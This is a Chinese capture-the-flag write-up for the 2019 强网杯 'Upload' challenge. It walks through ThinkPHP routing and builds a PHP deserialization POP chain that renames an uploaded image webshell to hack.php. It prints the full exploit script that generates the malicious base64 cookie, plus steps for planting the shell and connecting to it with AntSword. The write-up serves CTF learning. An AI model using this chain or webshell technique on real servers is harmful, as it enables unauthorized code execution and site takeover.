代码审计
[强网杯 2019]Upload
源码下载www.tar.gz
源码一大坨
用phpstorm可以看到有两处下断点的地方,属于是提示了。分别是
application\web\controller\Profile.php
application\web\controller\index.php
,可以发现这里存在反序列化操作,接收的参数是base64解码后的cookie值
这里先讲一下thinkphpd的一些特性
在 ThinkPHP 中,URL 通常遵循以下格式:
/模块/控制器/方法
假设默认的模块是 web
,那么访问以下 URL:
/index
相当于请求了:
/web/index/index
即:
- 模块:
web
- 控制器:
Index
- 方法:
index()
路由解析过程
-
当你访问
/index
时,框架会按照 URL 解析规则:
- 解析到控制器是
app\web\controller\Index
。 - 调用该控制器中的
index()
方法。
- 解析到控制器是
因此,访问 /index
会触发 Index
控制器的 index()
方法。
解题
两个提示处看一下,一个是接收cookie的序列化值,一个是register.php中析构函数。
同时发现profile.php中有可用的魔术方法__get()
、 __call()
整个流程是通过反序列化,触发update_img方法,并且绕过其中的部分判断,最终到达下面这段函数,来修改已上传的图片马名字
if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}
pop链
首先从析构函数出发,触发进Profile()类中
public function __destruct(){//$this->registed=0if(!$this->registed){// $this->checker=Profile()$this->checker->index();}}
由于Profile->index()
不存在,触发了 __call
方法,$this->{$name}
即$this->index
又刚好触发__get
,但是返回值是except[$name]数值的值,那就需要一个键名为$name键值为upload_img的except数组。这样子 $this->{$this->{$name}}($arguments);
就会成为upload_img($arguments)
$this->{$this->{$name}}($arguments)
:这里是双重的动态调用,首先 $this->{$name}
获取属性的值(假设是一个方法名),然后调用该方法并传入 $arguments
参数。
public function __get($name){//$this->except[index]return $this->except[$name];}public function __call($name, $arguments){//name=indexif($this->{$name}){$this->{$this->{$name}}($arguments);}}
其他问题
pop链子已经构造好了,但是还是需要处理别的来东西来让触发成功执行
public function upload_img(){//$this->checker=0if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}//ext=1,进入此处进行重命名操作if($this->ext) {//filename_tmp=你图片马上传的路径if(getimagesize($this->filename_tmp)) {//filename=重命名后的文件名字@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}
最终exp
<?php
namespace app\web\controller;class Register{public $checker;public $registed =0;}
class Profile{public $checker =0 ;public $filename_tmp="./upload/065831472858248584ff4993846d5065/3c2a5c7f9c572389f5db2a27f9651436.png";public $upload_menu;public $filename="./upload/hack.php";public $ext=1;public $img;public $except=array("index"=>"upload_img");
}$a = new Register();
$a->checker = new Profile();echo base64_encode(serialize($a));
在home下刷新拦包,修改cookie为反序列化的那串base64,然后疯狂刷新几次,就能看到upload/hack.php了,由于浏览器编码的原因可能你看不到马在哪,蚁剑连接即可
后话
这cookie卡我好久,上传后不知道是不是路由缓存还没更新的原因,一直都显示upload目录404,最终解决办法是a浏览器挂着upload目录,b浏览器执行传cookie操作,这样子才能看到东西